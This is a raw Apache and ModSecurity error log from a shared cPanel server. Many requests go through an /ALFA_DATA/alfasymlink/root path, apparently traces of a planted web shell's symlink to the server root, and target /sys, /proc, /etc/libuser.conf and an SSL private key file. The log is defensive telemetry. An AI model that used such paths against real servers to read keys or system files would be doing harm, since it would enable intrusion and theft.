[Mon Oct 26 01:48:07.855553 2026] [security2:error] [pid 2973334:tid 2973334] [client 85.208.96.205:46434] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c14de_0f979_84ecd43cdc9f4a8498da6104a52d5c5e.key"] [unique_id "at7plxuTgBg4-l9uWelcJgAAAA4"]
[Mon Oct 26 01:48:07.856017 2026] [security2:error] [pid 2973334:tid 2973334] [client 85.208.96.205:46434] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c14de_0f979_84ecd43cdc9f4a8498da6104a52d5c5e.key"] [unique_id "at7plxuTgBg4-l9uWelcJgAAAA4"]
[Mon Oct 26 01:48:14.124786 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 52.71.46.142:10119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:48:30.138316 2026] [security2:error] [pid 2973323:tid 2973323] [client 23.21.119.232:61947] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/physical_node/"] [unique_id "at7prgjvxj7QW3rihjPl3gAAAAM"]
[Mon Oct 26 01:48:30.138360 2026] [security2:error] [pid 2973323:tid 2973323] [client 23.21.119.232:61947] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/physical_node/"] [unique_id "at7prgjvxj7QW3rihjPl3gAAAAM"]
[Mon Oct 26 01:48:45.762350 2026] [authz_core:error] [pid 2973334:tid 2973334] [client 45.79.149.61:38412] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:48:53.761761 2026] [core:error] [pid 2973333:tid 2973333] (13)Permission denied: [client 185.191.171.14:40058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/objects_partial
[Mon Oct 26 01:48:58.116131 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 54.84.147.79:17775] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:49:10.152634 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 52.71.203.206:51340] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:49:17.468094 2026] [core:error] [pid 2973345:tid 2973345] (13)Permission denied: [client 85.208.96.207:17586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/parameters/loose
[Mon Oct 26 01:49:18.117324 2026] [security2:error] [pid 2973334:tid 2973334] [client 52.202.233.37:49307] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/link/"] [unique_id "at7p3huTgBg4-l9uWelcKgAAAA4"]
[Mon Oct 26 01:49:18.117367 2026] [security2:error] [pid 2973334:tid 2973334] [client 52.202.233.37:49307] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/link/"] [unique_id "at7p3huTgBg4-l9uWelcKgAAAA4"]
[Mon Oct 26 01:49:34.104717 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 98.83.72.38:65517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:49:58.138494 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 54.156.124.2:42831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:50:10.437957 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 34.203.111.15:17042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:50:22.189615 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 3.211.181.86:27249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:50:34.207999 2026] [ssl:error] [pid 2973324:tid 2973324] (70014)End of file found: [client 54.90.8.255:46616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:50:35.422844 2026] [core:error] [pid 2973323:tid 2973323] (13)Permission denied: [client 185.191.171.6:24152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/store_user
[Mon Oct 26 01:50:38.423600 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 35.174.253.85:17052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:50:46.231550 2026] [ssl:error] [pid 2974955:tid 2974955] (5)Input/output error: [client 44.205.180.155:48812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:51:02.179645 2026] [authz_core:error] [pid 2974955:tid 2974955] [client 198.251.72.22:42448] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:51:06.253238 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 34.195.248.30:37637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:51:06.253511 2026] [security2:error] [pid 2973029:tid 2973029] [client 34.195.248.30:37637] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/event3/device/mouse1/uevent"] [unique_id "at7qSijB3W9Ksyd0HzOi6gAAAAY"]
[Mon Oct 26 01:51:06.253549 2026] [security2:error] [pid 2973029:tid 2973029] [client 34.195.248.30:37637] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/subsystem/event3/device/mouse1/uevent"] [unique_id "at7qSijB3W9Ksyd0HzOi6gAAAAY"]
[Mon Oct 26 01:51:10.861595 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 144.76.19.24:65462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/dev/fd/7
[Mon Oct 26 01:51:14.355104 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 54.225.181.161:35155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:51:25.062581 2026] [security2:error] [pid 2973325:tid 2973325] [client 85.208.96.198:41854] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/libuser.conf"] [unique_id "at7qXeLIjM_NBNMXBD6KvgAAAAo"]
[Mon Oct 26 01:51:25.063015 2026] [security2:error] [pid 2973325:tid 2973325] [client 85.208.96.198:41854] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/libuser.conf"] [unique_id "at7qXeLIjM_NBNMXBD6KvgAAAAo"]
[Mon Oct 26 01:51:25.063391 2026] [security2:error] [pid 2973325:tid 2973325] [client 85.208.96.198:41854] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/libuser.conf"] [unique_id "at7qXeLIjM_NBNMXBD6KvgAAAAo"]
[Mon Oct 26 01:51:38.393679 2026] [core:error] [pid 2974955:tid 2974955] (13)Permission denied: [client 52.204.37.237:11480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:04.0/resource4
[Mon Oct 26 01:51:48.713864 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7qad8riwHadHMxXEFz8QAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 01:51:48.713951 2026] [security2:error] [pid 2963542:tid 2963542] [client 107.172.76.131:51378] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7qad8riwHadHMxXEFz8QAAACU"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 01:51:58.431134 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 3.226.34.98:56193] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:02.766175 2026] [core:error] [pid 2974955:tid 2974955] (13)Permission denied: [client 34.225.243.131:33188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0e/subsystem/drivers/pvpanic/bind
[Mon Oct 26 01:52:09.203958 2026] [core:error] [pid 2973325:tid 2973325] (13)Permission denied: [client 185.191.171.4:62572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/aliases
[Mon Oct 26 01:52:10.385843 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 52.23.112.144:14160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:14.580702 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 34.225.24.180:32250] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:22.338680 2026] [core:error] [pid 2974955:tid 2974955] (13)Permission denied: [client 185.191.171.4:28528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/trace
[Mon Oct 26 01:52:23.308132 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 52.202.52.82:59934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:30.504995 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 52.3.102.51:9213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:46.583138 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7qos9if2Wl_DKO7Xa_VAAAADM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:52:46.583206 2026] [security2:error] [pid 2963566:tid 2963566] [client 107.172.76.131:51372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7qos9if2Wl_DKO7Xa_VAAAADM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:52:46.631688 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 44.196.118.6:54602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:50.574183 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 54.91.122.193:64643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:54.810682 2026] [ssl:error] [pid 2974947:tid 2974947] (70014)End of file found: [client 52.3.26.180:40450] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:52:58.615795 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 44.212.232.231:16071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:14.452204 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 54.152.163.42:35413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:18.622339 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 98.82.38.120:28875] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:18.824264 2026] [core:error] [pid 2973029:tid 2973029] (13)Permission denied: [client 85.208.96.206:53104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8/slab_size
[Mon Oct 26 01:53:30.870594 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 52.205.222.214:4974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:38.495792 2026] [ssl:error] [pid 2973332:tid 2973332] (70014)End of file found: [client 54.166.104.83:31638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:42.493958 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 98.83.94.113:41644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:51.383296 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 52.202.233.37:20286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:54.875260 2026] [ssl:error] [pid 2973029:tid 2973029] (22)Invalid argument: [client 3.235.215.92:55585] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:53:58.531405 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 54.90.8.255:56259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:02.526644 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 18.211.148.239:30402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource1
[Mon Oct 26 01:54:03.725713 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 85.208.96.202:33528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/graphics/fbcon/rotate_all
[Mon Oct 26 01:54:10.597901 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 3.89.170.186:8882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:14.553061 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 35.170.205.140:55276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:16.306168 2026] [core:error] [pid 2973345:tid 2973345] (13)Permission denied: [client 85.208.96.212:36956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/cpu_slabs
[Mon Oct 26 01:54:18.727822 2026] [core:error] [pid 2973332:tid 2973332] (13)Permission denied: [client 44.206.93.215:61629] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/sanity_checks
[Mon Oct 26 01:54:19.839595 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 185.191.171.5:30058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-128/usersize
[Mon Oct 26 01:54:26.619626 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 52.205.113.104:29775] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:30.946344 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 54.87.95.7:61498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:34.613920 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 100.29.164.178:15128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:38.664434 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 23.21.175.228:5249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:54:50.666307 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 3.218.103.254:52349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:55:15.108857 2026] [core:error] [pid 2973345:tid 2973345] (13)Permission denied: [client 16.216.88.247:4096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/modify_featurelist
[Mon Oct 26 01:55:18.798657 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.210.155.69:60689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:55:35.290254 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 44.193.102.198:28623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:55:42.847076 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.215.59.93:38932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:55:46.844829 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.234.200.207:62216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/virtio2/"] [unique_id "at7rYuLIjM_NBNMXBD6KwwAAAAo"]
[Mon Oct 26 01:55:46.844882 2026] [security2:error] [pid 2973325:tid 2973325] [client 34.234.200.207:62216] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/virtio2/"] [unique_id "at7rYuLIjM_NBNMXBD6KwwAAAAo"]
[Mon Oct 26 01:56:07.019573 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.210.114.189:50119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:14.998332 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 44.223.232.55:3416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:18.904809 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 52.71.216.196:13069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:35.208249 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 50.16.216.166:26090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:39.453956 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 18.214.138.148:27032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:46.317083 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 185.191.171.19:29542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:47.371340 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 44.212.131.50:8361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:56:51.202682 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 34.194.14.255:48076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:04.884587 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 185.191.171.7:28732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/objects
[Mon Oct 26 01:57:07.135866 2026] [ssl:error] [pid 2973334:tid 2973334] (70014)End of file found: [client 184.73.47.24:14026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:11.371689 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 35.174.253.85:24596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:15.329698 2026] [security2:error] [pid 2974954:tid 2974954] [client 107.172.76.131:51520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7rrePdqEmNX1cUUB8hdQAAAAI"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 01:57:15.329767 2026] [security2:error] [pid 2974954:tid 2974954] [client 107.172.76.131:51520] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7rrePdqEmNX1cUUB8hdQAAAAI"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 01:57:19.309058 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 34.194.95.99:50716] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:23.285389 2026] [ssl:error] [pid 2973333:tid 2973333] (70014)End of file found: [client 54.204.12.115:23885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:26.434597 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 85.208.96.204:49978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:27.318756 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 3.218.35.239:18207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:31.230693 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 3.93.211.16:58373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:34.715625 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 85.208.96.210:43176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:43.507317 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 52.1.106.130:46623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:47.446785 2026] [ssl:error] [pid 2974955:tid 2974955] (70014)End of file found: [client 18.214.238.178:25210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:48.531202 2026] [core:error] [pid 2963540:tid 2963540] (13)Permission denied: [client 85.208.96.206:47546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/shrink
[Mon Oct 26 01:57:51.343762 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 44.223.193.255:61843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:57:55.313719 2026] [core:error] [pid 2973323:tid 2973323] (13)Permission denied: [client 52.2.4.213:14749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:1b/subsystem/drivers_probe
[Mon Oct 26 01:58:00.357579 2026] [core:error] [pid 2973345:tid 2973345] (13)Permission denied: [client 52.204.253.129:54400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0303:00/physical_node1/drvctl
[Mon Oct 26 01:58:03.403623 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 52.3.102.51:54899] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:58:07.472173 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 18.232.11.247:34579] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:58:19.611434 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 3.215.59.93:33545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:58:21.317741 2026] [core:error] [pid 2973345:tid 2973345] (13)Permission denied: [client 85.208.96.206:55460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/reclaim_account
[Mon Oct 26 01:58:27.462606 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 34.224.132.215:52391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:58:43.482248 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 34.194.226.74:10695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:58:55.720746 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 54.147.182.90:42709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:58:59.680441 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 3.216.86.144:56485] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:59:03.764188 2026] [core:error] [pid 2973325:tid 2973325] (13)Permission denied: [client 34.231.156.59:54414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/unbind
[Mon Oct 26 01:59:07.710389 2026] [core:error] [pid 2973333:tid 2973333] (13)Permission denied: [client 52.6.5.24:40114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/crash_notes
[Mon Oct 26 01:59:11.615337 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 34.236.185.101:27152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/flags
[Mon Oct 26 01:59:15.587346 2026] [ssl:error] [pid 2973323:tid 2973323] (70014)End of file found: [client 52.23.112.144:43893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:59:21.880679 2026] [ssl:error] [pid 2973029:tid 2973029] (70014)End of file found: [client 3.222.85.38:25159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:59:27.690176 2026] [ssl:error] [pid 2973325:tid 2973325] (70014)End of file found: [client 100.29.128.75:6501] AH02013: coalesce failed to read from data bucket
